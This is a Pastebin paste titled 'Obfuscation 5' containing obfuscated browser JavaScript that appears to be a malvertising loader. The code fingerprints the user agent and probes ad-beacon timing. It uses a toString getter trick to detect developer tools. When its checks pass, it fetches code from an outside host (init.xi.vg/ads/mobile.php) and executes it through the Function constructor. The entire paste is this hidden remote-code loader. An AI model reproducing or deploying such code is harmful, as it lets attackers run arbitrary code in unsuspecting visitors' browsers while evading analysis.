Advertisement
StanislavPipa

Obfuscation 5

Jul 12th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var URL = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function(){
  4.   var greet = 'gi', add, present;
  5.  
  6.  
  7.   function allPass(data, arg) {
  8.     return arg ? data[0].toUpperCase()+data.substring(1) : data.toLowerCase();
  9.   }
  10.  
  11.   function ap (data) { return data.split('').reverse().join('') }
  12.  
  13.   function treats(vol, key) { return new RegExp(vol, key) }
  14.  
  15.   function multiply(vol) {
  16.     var tmps = Object.keys(vol);
  17.     var values = tmps.map(function (_property) {
  18.       return vol[_property];
  19.     });
  20.     return tmps.concat(values);
  21.   }
  22.  
  23.   function greater(vol, key) {
  24.     return key ? Object.keys(vol)
  25.       : Object.keys(vol).map(function (tmp) {
  26.         return vol[tmp];
  27.       });
  28.   }
  29.  
  30.   var gaps, value, curried, any;
  31.  
  32.   function aperture(data, keys) { return data.slice(keys[0], keys[1]) }
  33.  
  34.   function composed(data) {
  35.     return data.reduce(function (first, second) { return first.concat(second) })
  36.   }
  37.  
  38.   function transformer(volume) { return volume.toString() }
  39.  
  40.   function append(data) {
  41.     return data.map(function (_elements) {
  42.       return _elements.reduce(function (acc, sec, ind) {
  43.         if (ind === 1){ return [acc, sec] }
  44.         var key = true;
  45.         acc.forEach(function (teg) { if (sec === teg) { key = false } });
  46.  
  47.         if (key) { acc.push(sec); return acc }
  48.         return acc;
  49.       });
  50.     })
  51.   }
  52.  
  53.   function arity (vol, coords) {
  54.     if (!coords.x){ return vol.slice(coords.y) }
  55.     return vol.slice(coords.y, coords.x);
  56.   }
  57.  
  58.   function prepend(data, volume) { return volume.map(function (vol) { return data[vol] }) }
  59.  
  60.   function  unapply(args,  juxt) { return args in (  juxt || value) } any = '[a-zA-Z]';
  61.  
  62.   function reference(web, embly) {
  63.     var result = web.ass.concat(embly).map(function (side) {
  64.       side.forEach(function (content) {
  65.         if (content === 'bar'){
  66.           return content;
  67.         }
  68.         return rect;
  69.       })
  70.     });
  71.   }
  72.  
  73.   function objektieflens(color, screen) {
  74.     var base = color;
  75.     var data = screen.tent;
  76.     return { persis: base + data, open: color.depth };
  77.   }
  78.  
  79.   function originalValue(doc) {
  80.     return doc.map(function (element) {
  81.       return element.style || element.alt;
  82.     });
  83.   }
  84.  
  85.   function predicatesList(bug, light) {
  86.     return bug.color === light ? light.name : light.plug;
  87.   }
  88.  
  89.   function providedPredicatesIsSatisfied(web, buffer) {
  90.     var fire = buffer.split(web.saf, web.ari, web.glf);
  91.     fire.forEach(function (el, index) {
  92.      el = index === 1 ? el.edg + web.trid : el.rame - web.fari;
  93.     });
  94.   }
  95.  
  96.   function isProvidedPredicateIsSatisfied(perform, entries) {
  97.     var res = get(perform.byType) + entries.ance;
  98.   }
  99.  
  100.   var least, predicate, given, rank;
  101.  
  102.   function createFCST(data) {
  103.     var tmps = data.map(function (el) { return transformer(el) });
  104.       value = window;
  105.  
  106.     var suits = ['{3,7}','{4,7}','{3,7}','{3,5}']
  107.       .map(function (condition) { return treats(any+condition, greet) });
  108.  
  109.     var props = [];
  110.     tmps.forEach(function(acc, key) {
  111.       var prop = suits.map(function(reg, ind) { if (key === ind) { return acc.match(reg) } });
  112.       prop.map(function(tmp) { if (tmp) { props.push(tmp) } });
  113.     });
  114.  
  115.     const isSpade = append(props);
  116.  
  117.     function foo(data) { return  data.prototype }
  118.     var isClub = isSpade.map(function (obj) { return arity(obj, {y: 2}) });
  119.  
  120.     least = [[0,4,1],[7,10],[9],[12],[1]]
  121.       .map(function (arg, key) { var grabed = prepend(isClub[0], arg),
  122.         elts = grabed.map(function (el, ind) {
  123.         if (key === 0) { return ind === 2 ? el: allPass(el, true) }
  124.         else if (key === 3) { return allPass(el, true) }
  125.         else { return el }
  126.       });
  127.  
  128.       var ready = elts.reduce(function (acc, sec) { return acc+sec });
  129.         gaps = navigator;
  130.  
  131.       return key === 3 ? ! unapply(ready) : key === 4 ? 1 : unapply(ready);
  132.     });
  133.  
  134.     least = least.reduce(function (first, second) { return first && second });
  135.     present = foo(value.Array);
  136.  
  137.     predicate = [[7,5],[8,4,3],[2,1,9]]
  138.       .map(function (data, key) { var _grabedElements = prepend(isClub[1], data),
  139.         elts = _grabedElements.map(function (el, ind) {
  140.         if (key === 1) { return ind === 1 ? allPass(el, true) : el }
  141.         else if (key === 2) { return ind === 2 ? allPass(el, true) : el }
  142.         else { return el.toUpperCase() }
  143.       }),
  144.  
  145.       ready = elts.reduce(function (acc, sec, ind) {
  146.         return key === 2 ? ind === 2 ? acc[0][acc[1]+sec] : [value[acc], sec] : acc + sec;
  147.       });
  148.  
  149.       return key === 2 ? ready :  unapply(ready);
  150.     });
  151.  
  152.     function sighting(data, key) { return present.join[data+ap(key)] }
  153.     predicate = predicate.reduce(function (data, keys) { return data && keys });
  154.  
  155.     given = [[6], [1, 4, 5]].map(function (vol, ind) {
  156.         var grabed = prepend(isClub[2], vol), curried = document,
  157.         elts = grabed.map(function (el, key) { if (ind === 1) {
  158.             return key === 1 ? ['u' + el.slice(3), allPass(el, true)] : el;
  159.           } return el;
  160.       });
  161.  
  162.       return elts.reduce(function (acc, next, vol) {
  163.         return ind === 1 ? vol === 1 ? curried[acc+next.join('')] : acc[next] : acc + next;
  164.       });
  165.     });
  166.  
  167.     given = given.reduce(function (data, vol) { return  unapply(data, vol) });
  168.  
  169.     rank = [[3],[4],[8],[7]]
  170.       .map(function (vol, _index) { var grabed = prepend(isClub[3], vol);
  171.  
  172.       return grabed.map(function (key) {
  173.         if (_index === 0) { return allPass('de'+key, true) }
  174.         if (_index === 2) { return key+'ins' }
  175.         return key;
  176.       });
  177.     });
  178.  
  179.     rank = rank.reduce(function (acc, next, ind) {
  180.       return ind === 1 ? [ unapply(acc),next]
  181.         : [acc[0], acc[1].concat(next)] }).reduce(function (first, key) {
  182.       return first && !(gaps[key[1][1]]
  183.         && gaps[key[1][key[2]].match(key[0])]);
  184.     });
  185.     present = sighting('const', 'rotcur');
  186.   }
  187.  
  188.   setTimeout(function () {
  189.     createFCST([reference, objektieflens, originalValue, predicatesList]);
  190.   }, 100);
  191.  
  192.   var combinator = {
  193.     https: 'security',
  194.     page: 'google',
  195.     _tuples: 'syndicat',
  196.     aperture_: 'gen_',
  197.     _write:'enable',
  198.     _more: 'crypt',
  199.     Int_: 'ad2',
  200.   };
  201.  
  202.   setTimeout(function () {
  203.     variadic(combinator);
  204.   }, 200);
  205.  
  206.   function variadic(data) {
  207.     var cleaned = arity(greater(data, true), {y: 2});
  208.  
  209.     function juxt(vol, tmp, el,  field) { return  field(vol, tmp) ? 4 : el ? 2 : 1 }
  210.  
  211.     function getMetrics(volume) {
  212.       add = new Image(); var data = multiply(volume)
  213.         .filter(function (el) {
  214.           return !el.match('_') ? el : false;
  215.       });
  216.  
  217.       var tmp1 = data.reduce(function (acc, sec, ind) {
  218.         return ind === 1 ? acc + '://' + sec + data[7] : ind === 2 ? acc
  219.           : ind === 3 ? acc + '.' + sec : ind === 4 ? acc + sec + 'ion' : acc;
  220.       });
  221.  
  222.       var prop1 = data.reduce(function (acc, sec, ind) {
  223.         return ind === 5 ? '.com/' : ind === 6 ? acc + data[1] + 'ad/' :
  224.           ind === 7 ? acc + volume.aperture_ + 204 : acc;
  225.       });
  226.  
  227.       return { s: 0, d: [], u: composed([tmp1, prop1]), n: predicate ? 6 : 2 };
  228.     }
  229.  
  230.     function gcp(volume, field, folder) {
  231.       var tmps = multiply(volume), props = transformer(field)
  232.         .match(treats(any+'{8}', greet)).slice(-1);
  233.  
  234.       return typeof(tmps[12]+ 'o')==props[0] ||
  235.         (gaps[folder+allPass(tmps[11], true) + 'd'] + tmps[10].d).match(/"/);
  236.     }
  237.  
  238.     var identity = [1,2,2,1,0]
  239.       .map(function(el) { return cleaned.splice(el, 1) });
  240.  
  241.     function comparator (data) { return least||rank?/"/:data._more }
  242.  
  243.    identity.forEach(function (el, ind) {
  244.      return data[el] = ind === 0 ? getMetrics(data) : ind === 1 ? add : ind === 2 ? comparator(data) :
  245.          ind === 3 ? gcp(data, reference, 'java') : juxt(data.https, curried, rank,  unapply);
  246.    })
  247.  }
  248.  
  249.  var flattens = 'Get some text. listen and load some. response ready event. Get state status request';
  250.  
  251.  function wrapper(folder, tmp, el, key, field) {
  252.    var tmps = folder.split(' '), prop = field(greater(combinator, true)[0], true)
  253.      .slice(0, -1);
  254.  
  255.    el = new value['xml'.toUpperCase() + prop + allPass(tmps[13], true)] ();
  256.    el.open(field(tmps[10]), tmp);
  257.  
  258.    el['add'+ allPass(tmps[9].slice(0, -1), true) +field(tmps[3]+'er', true)]
  259.    (tmps[5], function () {
  260.      this[tmps[8]+allPass(tmps[11] ,true)] == 4 && this[tmps[12]]==200
  261.      && key(this[tmps[7]+ field(tmps[2], true).slice(0, -1)])();
  262.    });
  263.    el.send();
  264.  }
  265.  
  266.  function both(flattens, a, b) { wrapper(flattens, a,b, present, allPass) }
  267.  
  268.  var user = { age: 18 };
  269.  setTimeout(function () {
  270.    var tmp = transformer(providedPredicatesIsSatisfied),
  271.    isValid = append([tmp.match(treats(any+'{3,6}', greet))]);
  272.  
  273.    function accept(volume, arg) {
  274.      var res = []; volume.forEach(function(el, key) {
  275.        key === arg[0] ? res.push(allPass(el, true)) : key === arg[2] ? res.push(el)
  276.          : key === 19 ? res.push(volume[7]) : key === arg[1] ? res.push(el.toUpperCase()) : el;
  277.      });
  278.      return res.join('');
  279.    }
  280.  
  281.    var elts = [least, predicate, given, rank],
  282.    form =  unapply(accept(isValid[0], [6,13,18]));
  283.  
  284.    applicative(gaps, isValid, !combinator._write && form, tmp, {user: user}, elts);
  285.  }, 400);
  286.  
  287.  function applicative(data, field, vol, arg, nt, form) {
  288.    var isValid = append([arg.match(treats(any+'{3,4}', greet))]);
  289.  
  290.    var clone = Object.keys(nt).concat(allPass(Object.keys(nt.user)[0], true)+'nt');
  291.  
  292.    user = isValid[0].map(function(el, ind) {
  293.      return  ind === 12 ? el + 'fox' : ind === 23 ? 'sa' + el :
  294.        ind === 21 ? el + 'ent' : ind === 20 ? el + 'e' : '';
  295.    });
  296.  
  297.    var unary = user.filter(function(el) { return el.length > 0 });
  298.  
  299.    var applied = unary.map(function (el) {
  300.      return data[clone.join('')].match(treats(el, 'i')) }).map(
  301.        function (el, ind) { return ind === 0 ? (el && form[ind]) : ind === 3 ?
  302.        (el && (form[1] || form[2])) : (el && form[3]);
  303.    }).reduce(function (acc, next) { return acc || next });
  304.  
  305.    var _arity = { max: 'toggle', touch: 'protocol', point: 'resource', next: 'Hop' };
  306.  
  307.    function cond(data) {
  308.      return arity(multiply(data), {y: 0, x: -5}).map(function (el, ind) {
  309.        return ind > 0 ? allPass(el, true) : el;
  310.      }).join('');
  311.    }
  312.  
  313.    function construct (){combinator._tuples--;return''}
  314.  
  315.    function errorsCatcher(){
  316.      var tmp = transformer(isProvidedPredicateIsSatisfied),
  317.      isValid = append([tmp.match(treats(any+'{4,7}', greet))])[0].slice(5);
  318.  
  319.      var valid = isValid.map(function(el, index){
  320.        return index === 0 ? [el, isValid[3]].join('') : allPass(el, true);
  321.      });
  322.  
  323.      value[valid[0]]['get'+arity(valid, {y: 1, x: -1})
  324.        .join('')](_arity.point).forEach(function(a){a.name==combinator.aperture_.u &&
  325.          (a[multiply(_arity)[3]+_arity.next+allPass(multiply(_arity)[5], true)]
  326.            ||'h2').slice(~combinator.aperture_.d)==combinator.aperture_.n
  327.        &&both(flattens, URL);
  328.      });
  329.    };
  330.  
  331.    if (applied) {
  332.      if (vol && !(form[1]&&!data[cond(_arity)+'s'])) {
  333.        combinator.Int_.__defineGetter__(least||rank
  334.          ? 'to'+ allPass(typeof _arity.max, true) : 'id', construct);
  335.  
  336.        combinator.Int_.id = 'on' + _arity.max;
  337.        combinator._more.onerror = errorsCatcher;
  338.        combinator._more.src=combinator._tuples?combinator.aperture_.u:'';
  339.      }
  340.    }
  341.  }
  342. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement